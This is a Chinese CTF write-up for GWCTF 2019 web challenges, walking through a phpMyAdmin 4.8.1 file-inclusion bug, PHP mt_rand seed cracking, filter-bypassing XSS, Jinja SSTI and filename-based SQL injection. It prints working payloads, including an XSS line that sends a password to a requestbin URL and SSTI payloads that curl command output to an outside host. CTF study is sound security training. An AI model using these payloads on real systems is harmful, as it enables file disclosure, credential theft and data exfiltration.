GWCTF2019 web wp


[GWCTF 2019]我有一个数据库

遍扫描遍看wp,看到大佬直接盲猜/phpmyadmin我也就不扫了哈哈哈,记下来
看一下版本,phpMyadmin 版本信息: 4.8.1,最新稳定版本: 4.9.7,既然版本更新了,那说明老版本很可能有漏洞鸭,Google一波
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613),payload:?target=db_datadict.php%253f/../../../../../../../../etc/passwd,直接一把梭了\

漏洞原理

跟着大佬的博客复现了一遍,先看phpMyAdmin 4.8.1版本的index.php文件的第50-63行代码

$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])//target不能为空
    && is_string($_REQUEST['target'])//必须为字符串
    && ! preg_match('/^index/', $_REQUEST['target'])//开头不能为index
    && ! in_array($_REQUEST['target'], $target_blacklist)//不能存在黑名单的内容
    && Core::checkPageValidity($_REQUEST['target'])//经过checkPageValidity()检查
) {
    include $_REQUEST['target'];
    exit;
}

再看看checkPageValidity()

public static function checkPageValidity(&$page, array $whitelist = [])//target与两个形参
{
    if (empty($whitelist)) {//检查其是否为空
        $whitelist = self::$goto_whitelist;//为空则用self::$goto_whitelist为其赋值
    }
    if (! isset($page) || !is_string($page)) {//判断target
        return false;
    }

    if (in_array($page, $whitelist)) {//检查是否在白名单
        return true;
    }

    $_page = mb_substr(//获取部分字符串
        $page,
        0,
        mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
    );
    if (in_array($_page, $whitelist)) {//截取后的target是否还存在白名单中
        return true;
    }

    $_page = urldecode($page);//url解码
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );//继续截取?前的字符串
    if (in_array($_page, $whitelist)) {//再次检查
        return true;
    }

    return false;
}

看一下self::$goto_whitelist白名单的内容

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

那么payload就好解释了,?target=db_datadict.php%253f/../../../../../../../../flag中的%253f解码一次后为%3f这是由php的$_REQUEST['target']解释的,绕过第一次白名单检测,然后再此url解码,白名单还是会返回true造成任意文件读取

[GWCTF 2019]枯燥的抽奖

这题和MRCTF2020的Ezaudit很像,都是考察了伪随机数运用
官方wp:https://github.com/gwht/2019GWCTF/tree/master/wp/web/%E6%9E%AF%E7%87%A5%E7%9A%84%E6%8A%BD%E5%A5%96

看js,跟踪到check.php,得到源码

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
    $_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);//mt_srand()为mt_rand分发种子,但是$_SESSION['seed']似乎不是随机的,所以可以根据种子序列爆破出种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php");

爆破种子脚本在此
先用脚本得到序列

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='yTPhFFRT7B'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

得到序列:46 46 0 61 40 40 0 61 9 9 0 61 41 41 0 61 26 26 0 61 55 55 0 61 42 42 0 61 10 10 0 61 49 49 0 61 40 40 0 61,丢到php_mt_seed跑一下
php_mt_seed
注意php版本,下面的脚本需要对应的php版本才能运行成功

<?php
mt_srand(272865584);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>".$str."</p>";

提交字符串,done

[GWCTF 2019]mypassword

顺手看了看源码,在/js/login.js下发现

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

注册admin,失败,存在了,想用约束攻击,失败,随便注册了一个,登进去发现
login
看来不是注入了,反馈页面怎么看都像xss,看了源码,给了waf

if(is_array($feedback)){
    echo "<script>alert('反馈不合法');</script>";
    return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
    while(true){
        if(stripos($feedback,$val) !== false){
            $feedback = str_ireplace($val,"",$feedback);
        }else{
            break;
        }
    }
}

xss不太会,看了看官方wp,说是读取cookie即可获取flag,一开始我也想外部读取,但是不会,看了wp也说被禁了,构造xss反弹到buu的平台

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1bl3jrs1?psw="+psw;
</scrcookieipt>

[GWCTF 2019]你的名字

随便输一个,这个回显真的像ssti,抓包看响应头为python,这是真ssti了,但是输入{{1-1}}搞了一个PHP报错???把docker下载下来了,看了源码,其实是出题人故意混淆的,建议暴打 waf如下:

blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','local','self','item','getitem','getattribute','func_globals','config']
for no in blacklist:
    while True:
        if no in s:
            s =s.replace(no,'')
        else:
            break

这种过滤,一般都是对最后一个下手,例如if:iconfigf;黑名单的替换是按关键字的顺序来的,当config替换以后也就认为过滤结束了。这题不给源码怎么写。。出题人真的坏\

模板设计器
{% ... %} 控制结构清单
{{ ... }} 模板输出的表达式
{# ... #} 注释
# ... ## 行语句

由于过滤了{{}},结果不能直接显示,不过可以选择打到vps上
payload:{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://ip:port/ -d `ls /|base64`') %}1{% endiconfigf %}
由于curl只能带出来一行,用base64可以编码一下,全部带出来
flag:{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://ip:port/ -d `cat /flag_1s_Hera`') %}1{% endiconfigf %}

[GWCTF 2019]blog

登陆界面,sql注入没反应,注册admin已经存在,随便注册进去看URL感觉可以LFI,但是试了试发现只有admin才能读。接着是上传文件,可以上传一句话,但是不知道路径,没办法。上传文件后下面会显示文件名及上传日期,这个很像文件名注入,以前读文章见大佬博客提到过,但是没实践过,先fuzz,文件名:select whereorandfrom.jpg,这样fuzz,发现过滤不少,也能用burp爆破fuzz都行,简单过滤,双写就能绕过,先试试数据库名:'+(selselectect(hex(database())))+'.jpg,可以,转码为:bytectf

原理可参考这篇博客
猜测sql为insert into 表名('filename',...) values('你上传的文件名',...);
构造上述文件名后拼接sql得:...values('文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg',...);

爆表,本来想用hex直接全爆出来,但是似乎不行,可能长度有限制,还是参考了大佬博客,依次移动即可全部读出来:'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(table_name))frfromom(information_schema.tables)whewherere(table_schema='bytectf')),1,5)),16,10)))+',最后表名为:byte_user
字段名类似,改改上面的table_name就行,不再赘述
查管理员密码:'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(password))frfromom(byte_user)whewherere(username='admin')),1,5)),16,10)))+'
拼接得到:3814d79033f6fc9c1d3cf002a1f92100
试了一下,不是密码,应该是md5,解密得:kotori912

登陆admin,尝试读取index源码被抓了,hint:You can try to read picture file.

上传jpg提示illegal ip,看看network,发现cookie里面的plain可以base64解密,解密为{"is_admin":true,"ip":false},encrypt提示cbc,应该就是cbc字节翻转攻击了,也是以前见过博客介绍,但是没深入研究,通过本题研究一下cbc翻转。。。研究失败,脚本不能用,这题暂时搁置


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
  目录